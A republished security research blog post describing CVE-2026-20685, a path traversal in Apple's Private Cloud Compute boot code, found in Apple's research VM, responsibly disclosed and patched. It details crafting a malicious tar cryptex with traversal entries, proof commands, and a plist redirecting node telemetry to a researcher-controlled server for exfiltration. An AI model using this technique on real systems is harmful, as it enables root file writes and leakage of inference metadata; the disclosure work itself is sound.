{"slug": "beyond-prompt-injection-hacking-apple-s-private-cloud-compute", "title": "Beyond Prompt Injection: Hacking Apple's Private Cloud Compute", "summary": "Security researcher Drinor was awarded $150,000 for discovering CVE-2026-20685, a path traversal vulnerability in Apple's Private Cloud Compute (PCC) provisioning code, darwin-init, that allows attackers to write files as root and compromise the privacy and security guarantees of Apple Intelligence. The vulnerability, found through Apple's Virtual Research Environment, enables redirecting node telemetry to an attacker-controlled server. Apple has assigned the CVE and the researcher plans to release a detailed technical paper.", "body_md": "# Beyond Prompt Injection: Hacking Apple's Private Cloud Compute\n\n**Drinor was awarded $150,000 for CVE-2026-20685 targeting Apple's Private Cloud Compute, the inference backbone of Apple Intelligence capabilities.**\n\nThis work is my contribution to [Sentry](https://sentry.security/?ref=blog.sentry.security)'s AI Security research initiative, run through [SARC](https://sentry.security/resources/research-center?ref=blog.sentry.security), the Sentry Applied Research Center. Our SARC focuses on evaluating systems that carry the most consequence as AI moves into everyday technologies. Private Cloud Compute is a natural target for that work, since it underwrites the privacy guarantees behind Apple Intelligence.\n\nThere will be a technical paper released that's more detailed in the coming weeks, so stay tuned!\n\n[Private Cloud Compute](https://security.apple.com/blog/private-cloud-compute/?ref=blog.sentry.security) is becoming ever more important as the core component of Apple Intelligence features. It is built so a server can process your data with close to the privacy guarantees your iPhone gives you on-device for AI inference requests. I found a path traversal in the code that provisions PCC nodes, `darwin-init`\n\n, that lets an attacker write files as `root`\n\nand compromises privacy and security guarantees in PCC. Apple assigned it [CVE-2026-20685](https://nvd.nist.gov/vuln/detail/cve-2026-20685?ref=blog.sentry.security).\n\nI found the vulnerability through Apple's [Virtual Research Environment](https://security.apple.com/documentation/private-cloud-compute/virtualresearchenvironment?ref=blog.sentry.security). The exploit is pretty cool and involved writing files as root during boot and redirecting the node's inference (and other) telemetry to a server I controlled. I think it's a pretty cool find. Besides the exploit itself, I'll explain more about what PCC is and why its guarantees are important for Apple and integrating AI in its products. I then talk about the boot window, the vulnerable component itself, and finally the exploit and the impact related to it.\n\n## What is PCC and how it's related to AI\n\nPrivate Cloud Compute is Apple's server-side infrastructure for the Apple Intelligence requests that are too large or complex to run on the phone. Apple's privacy claim for it rests on three important mechanisms.\n\nStateless.A node processes a request in memory and keeps no user data across requests or reboots.Attested.Before your device sends anything, it verifies cryptographically, against a public transparency log, that the node runs only the software Apple published.Sealed observability.Logs and metrics pass through sealed audit tables, so only specific pre-approved fields leave a node.\n\n## Definitions\n\nA few terms clarify the rest of the blog.\n\n- A\n**PCC node** is one server in the fleet, a hardened DarwinOS. - A\n**cryptex** is a cryptographically sealed extension, a signed bundle of code and data mounted onto a node at boot; PCC ships its operating system and services as cryptexes.is the first userspace process on a booting node, PID 1, running as root: it fetches the node's configuration, downloads and extracts the cryptexes, installs them, and triggers a userspace reboot into the running system.`darwin-init`\n\n- The\n**VRE**(Virtual Research Environment) boots a genuine PCC image in a VM so researchers can test it. - The\n**trust boundary** is Apple's line between inside PCC, where your data is protected, and outside, where it is not, and**attestation** is how your device checks that a node is genuine and running only published software before trusting it.\n\n## The boot window: darwin-init runs as root\n\nA PCC node's first userspace process is `darwin-init`\n\n, PID 1, root. It resolves a configuration source, downloads the system cryptexes, extracts them, personalizes and installs them, then triggers a userspace reboot (USR) that brings up the steady-state services.\n\nTwo facts about that boot window are important. First, `darwin-init`\n\nwrites to the writable data volume as root before any service that enforces the node's steady-state assumptions is running. Whatever it leaves on disk is present when the node boots up.\n\nSecondly, Cryptexes install one at a time. Its checks compare the result against the requested configuration. If one cryptex fails to install, the check fails, and USR doesn't continue, leading to the node hanging with no services.\n\n## PCC's Extractors\n\nWhen `darwin-init`\n\ndownloads an artifact, it reads the first four bytes to pick an extractor.\n\n| Magic | Type | Extractor |\n|---|---|---|\n`AEA1` |\nApple Encrypted Archive | `extractAppleEncryptedArchive` |\n`AA01` |\nApple Archive | `extractUncompressedAppleArchive` |\n| anything else | tar / gz / bz2 / zip / cpio | `extract(to:)` |\n\nA tar archive's `ustar`\n\nsignature sits at byte offset 257, well past the four-byte window. Since tar did not match a known magic, it falls through the `default`\n\nbranch to the generic `extract(to:)`\n\n.\n\n## The vulnerable function\n\n`extract(to:)`\n\ndoes this:\n\n``` js\nguard let cStr = archive_entry_pathname(entry) else { continue }\nlet str = String(cString: cStr)\n\n// update entry pathname relative to output dir\nlet pathname = path.appending(str)\narchive_entry_set_pathname(entry, pathname.description)\n```\n\nThe entry name comes straight from the archive and is appended to the output directory without sanitation/validation. See how the extraction options confirm it:\n\n``` js\nlet options = ARCHIVE_EXTRACT_TIME | ARCHIVE_EXTRACT_PERM\n            | ARCHIVE_EXTRACT_ACL  | ARCHIVE_EXTRACT_FFLAGS\n```\n\nThose options preserve timestamps, permissions, ACLs, and file flags. However, none of libarchive's security flags were set resulting in libarchive writing wherever the entry name points and returns `ARCHIVE_OK`\n\n.\n\nThere are two controls that could have prevented this. The cryptex configuration passes through `PrivateCloudOSValidator.validate(cryptexConfig:)`\n\n, which in the published source is an empty function body. The per-cryptex `sha256`\n\ndigest is optional, so when the attacker supplies the configuration, integrity verification can be omitted. I took advantage of this fact.\n\n### The extraction path\n\nThe extraction base is four levels deep:\n\n```\n/var/tmp/darwin-init/cryptex/<UUID>/\n```\n\nSo the traversal options look as such:\n\n`..` |\nResolves to | Note |\n|---|---|---|\n| ×3 | `/var/tmp/` |\nerased by USR |\n| ×4 | `/var/db/` |\npersists |\n| ×5 | `/` |\nfilesystem root |\n\nThree `..`\n\nreaches `/var/tmp/`\n\n, which USR wipes, so it is useless for persistence and exploitation in this case. Four reaches `/var/db/`\n\non the writable data volume which persists after reboot. That is the location I wanted and exploited.\n\n## Crafting a malicious cryptex\n\nThis is an interesting bit that I had to experiment with.\n\nA raw tar full of traversal entries would write my files and then fail since the `fullyApplied`\n\ncheck fails, and the boot hangs as mentioned previously. So the payload has to be two things at once: a working path-traversal exploit and a structurally valid cryptex that passes the checks.\n\nSo here's what I did. One tar archive holds two kinds of entries.\n\n1) Traversal entries prefixed with `../../../../db/`\n\nescape into `/var/db/`\n\n. Alongside them sits a complete, valid cryptex bundle, `Restore/BuildManifest.plist`\n\nand\n\n2) A `Restore/Cryptex/POC_DEMO/{gdmg,ginf,gtcd,gtgv}`\n\nset, produced by running Apple's own `pccvre cryptex create`\n\nagainst a throwaway source directory and extracting the resulting `.aar`\n\n.\n\nNow: The traversal entries extract in `/var/db/`\n\nfirst. The `Restore/`\n\nsubtree lands in the extraction directory, where `cryptexctl personalize`\n\nchecks it. The personalization succeeds, install succeeds, `fullyApplied`\n\npasses, USR fires, and the node finally booted clean!\n\nHere is the finished archive, from the build tool's `inspect`\n\ncommand:\n\n``` bash\n$ python3 CVE-2026-20685.py inspect malicious_cryptex.tar\n[F]  ../../../../db/poc_darwin_init_traversal_proof           357 B   traversal\n[F]  ../../../../db/prcos/splunkloggingd/config-main.plist    836 B   traversal\n[D]  Restore/\n[D]  Restore/Cryptex/\n[F]  Restore/BuildManifest.plist                             1746 B   bundle\n[D]  Restore/Cryptex/POC_DEMO/\n[F]  Restore/Cryptex/POC_DEMO/gdmg                          14336 B   bundle\n[F]  Restore/Cryptex/POC_DEMO/ginf                            527 B   bundle\n[F]  Restore/Cryptex/POC_DEMO/gtcd                             46 B   bundle\n[F]  Restore/Cryptex/POC_DEMO/gtgv                            229 B   bundle\n```\n\nThe first two entries extract out to `/var/db/`\n\n. The rest are the genuine cryptex bundle.\n\n## Proof on the VRE\n\nI built a VRE instance from PCC release 37684 and registered the malicious tar as a third cryptex, alongside the two Apple-provided release assets. When the VM boots, `pccvre`\n\nstands up an HTTP server on the host, `darwin-init`\n\nPOSTs its device identity to that server, fetches a full remote configuration back, then downloads every cryptex the configuration names, including mine, over HTTP. The two Apple `.aar`\n\nassets match `AA01`\n\nand take the safe extractor. My tar matches nothing and falls through to `extract(to:)`\n\n.\n\n```\n$ /System/Library/SecurityResearch/usr/bin/pccvre instance start --debug -N demo\nHTTP service started: 192.168.64.1:58538\nDarwinInitHelper update cryptex:\n  malicious_cryptex.tar -> http://192.168.64.1:58538/malicious_cryptex.tar\nStarting VM: demo  (ecid: 3443e8d0ffe39efa)\nStarted VM: demo\n```\n\nAfter a few seconds later the node was up. To confirm I used a research-only Debug Shell that is absent in production to verify. That shell ships without `cat`\n\nor `ls`\n\n, so the read uses a builtin:\n\n``` bash\n$ ssh root@192.168.64.50 'echo \"$(< /var/db/poc_darwin_init_traversal_proof)\"'\nPATH_TRAVERSAL_CONFIRMED: Written by\n  darwin-init FilePath+Archive.swift:95\nExtraction base: /var/tmp/darwin-init/cryptex/<UUID>/\nTarget: /var/db/poc_darwin_init_traversal_proof\n\n$ ssh root@192.168.64.50 'test -f /var/db/.DarwinSetupDone && echo BOOT_COMPLETED'\nBOOT_COMPLETED\n```\n\nThe file was written by `root`\n\n, well outside the extraction directory and it survived the userspace reboot. The `.DarwinSetupDone`\n\nconfirms the boot finished normally. Perfect.\n\nI wanted to increase it's impact so I explored what I could do with the root file write.\n\n## Redirecting splunkloggingd to my own endpoint\n\nPCC ships `splunkloggingd`\n\n, an internal log forwarder. Its LaunchDaemon uses a `PathState`\n\nKeepAlive that checks one file on the writable data volume, `/var/db/prcos/splunkloggingd/config-main.plist`\n\n. The moment that file exists, `launchd`\n\nstarts `splunkloggingd`\n\nand points it at wherever the file points.\n\nMy second traversal entry writes into that file, with a configuration of my choosing. These are the fields that I thought mattered most, with some keys left out:\n\n```\n<key>Server</key>     <string>http://192.168.64.1:8088</string>\n<key>Index</key>      <string>exfil</string>\n<key>Predicates</key>\n<array>\n  <string>subsystem == \"com.apple.cloudos.cloudboard\"</string>\n  <string>subsystem == \"com.apple.cloudos\"</string>\n  <string>subsystem == \"com.apple.darwininit\"</string>\n</array>\n<key>Level</key>      <string>Debug</string>\n```\n\nOn my next iteration, within seconds of boot completing, my listener was taking POSTs roughly 785 KB of CloudBoard daemon state, job events, and node telemetry, with a steady stream of info after that.\n\nIt becomes more interesting when I start activating AI inference on the node. I drove a single inference request through it, and the redirected stream began carrying per-request metadata from the `PCCAgentApp`\n\nsender, the key fields of its `PlaintextMetadata`\n\nstructure:\n\n```\nbundleID:             \"local-cloudboard-client\"\nworkloadType:         \"tie-vre-cli\"\nrequestID:            CAFC3ED5-…-363C47FB9B64\nautomatedDeviceGroup: \"local-test-device\"\n```\n\nThose fields are absent while the node is idle and appear only when it processes a request. Across three requests they correlated into clean per-request clusters, each with its own request ID and its own chunk sizes. In Apple's source, `bundleID`\n\n, `featureID`\n\n, and `workloadType`\n\nare production request-routing, access-control, and rate-limiting fields. The `requestID`\n\nand `automatedDeviceGroup`\n\nare per-request correlation and device-grouping identifiers. `CloudBoard`\n\nmarks the rendered `PlaintextMetadata`\n\ndescription as something that \"must not be logged publicly.\" which further strengthened my impact case.\n\nI then widened the set to include the Trusted Inference Engine's senders, and the same channel handed over token counts. Here is an example of two prompts of different lengths producing the numbers below.\n\n| Metric | \"Hi\" | \"Explain quantum computing…\" |\n|---|---|---|\n| input tokens | 2 | 37 |\n| output tokens | 100 | 100 |\n| draft output tokens | 61 | 73 |\n| first-token latency | 843 ms | 1830 ms |\n\nThe input counts track prompt length, which confirms the metric measures tokenization. Theres a bunch of more things such as per-token timing, draft-token counts that reveal speculative decoding, and model identity. All interesting observations opening PCC up to side-channel shenanigans.\n\n## The attestation gap\n\nI ran a nonce-controlled comparison across three boots of the same instance. I used two clean boots from a control tar with no traversal entries, and one poisoned boot from an identical bundle plus the traversal entry. I confirmed the `.cxbd`\n\nbundle contents were byte-identical between the two tars beforehand, then diffed the attestation bundles.\n\n| Attestation field | Clean vs poisoned | Why |\n|---|---|---|\n`apTicket` |\nidentical | invariant |\n| SecureConfig entry and digest | identical | invariant |\n| cryptex metadata and entry flags | identical | invariant |\n`appData` |\nidentical | invariant |\nImage4 manifests, `sepAttestation` |\ndiffer | per-boot nonce, same pattern in the clean-vs-clean control |\n`keyExpiration` |\ndiffer | per-boot timestamp |\n| writable data-volume state | differs | not measured by the attestation chain |\n\nApple's own verifier, `pccvre attestation verify`\n\n, treated both bundles identically at every level I tried. It seems PCC's attestation measures installed software. The writable data-volume files that drive daemon behavior at runtime seems to not be part of the verification process. Attestation proves what software is installed but not the integrity of various config files on the node. In every attestation-relevant field I could examine, the poisoned node was indistinguishable from a clean one in the verification process.\n\n## Why this matters now\n\nPrivate Cloud Compute is becoming ever more important as the core component of Apple Intelligence features. At WWDC in June 2026 Apple introduced a rebuilt, far more capable assistant, Siri AI, as part of the next generation of Apple Intelligence, with beta availability planned for later in 2026. Apple's public materials state that Apple Intelligence's larger, server-based models run in Private Cloud Compute, which Apple describes as extending the security and privacy of Apple devices into the cloud.\n\n## Disclosure\n\nAt its core, this is a thirty-year-old vulnerability class, the same one as Zip Slip, [CVE-2007-4559](https://nvd.nist.gov/vuln/detail/cve-2007-4559?ref=blog.sentry.security), and [CWE-22](https://cwe.mitre.org/data/definitions/22.html?ref=blog.sentry.security), but that just goes to show that securing the entire inference pipeline and environment is just as important as securing the model itself.\n\nI reported CVE-2026-20685 to Apple through responsible disclosure. All work was performed inside Apple's Virtual Research Environment, the official tooling Apple provides for PCC security research, and no testing was done on production infrastructure.\n\nApple rated the issue as information disclosure (CVSS 6.5, vector `AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`\n\n) and addressed it in PCC releases 5E290.3 and later. Apple validated the report and [recognized it](https://security.apple.com/documentation/private-cloud-compute/releasenotes?ref=blog.sentry.security) under the Apple Security Bounty with a **$150,000 award**.\n\nWorking with Apple's Product Security team was a real pleasure. They took the report seriously from the start and engaged with the technical detail directly. My thanks to them, and to Apple for building a research environment that caters to both researchers and their fantastic products.\n\n*Drinor Selmanaj** is the Founder and CTO of **Sentry** and a master's student in Cybersecurity at the **NYU** Tandon School of Engineering.*", "url": "https://wpnews.pro/news/beyond-prompt-injection-hacking-apple-s-private-cloud-compute", "canonical_source": "https://blog.sentry.security/beyond-prompt-injection-hacking-apples-private-cloud-compute/", "published_at": "2026-08-09 23:47:58+00:00", "updated_at": "2026-08-10 00:04:49.126855+00:00", "lang": "en", "topics": ["ai-safety", "ai-infrastructure", "ai-policy"], "entities": ["Drinor", "Apple", "Private Cloud Compute", "CVE-2026-20685", "darwin-init", "Sentry Applied Research Center", "Virtual Research Environment"], "alternates": {"html": "https://wpnews.pro/news/beyond-prompt-injection-hacking-apple-s-private-cloud-compute", "markdown": "https://wpnews.pro/news/beyond-prompt-injection-hacking-apple-s-private-cloud-compute.md", "text": "https://wpnews.pro/news/beyond-prompt-injection-hacking-apple-s-private-cloud-compute.txt", "jsonld": "https://wpnews.pro/news/beyond-prompt-injection-hacking-apple-s-private-cloud-compute.jsonld"}}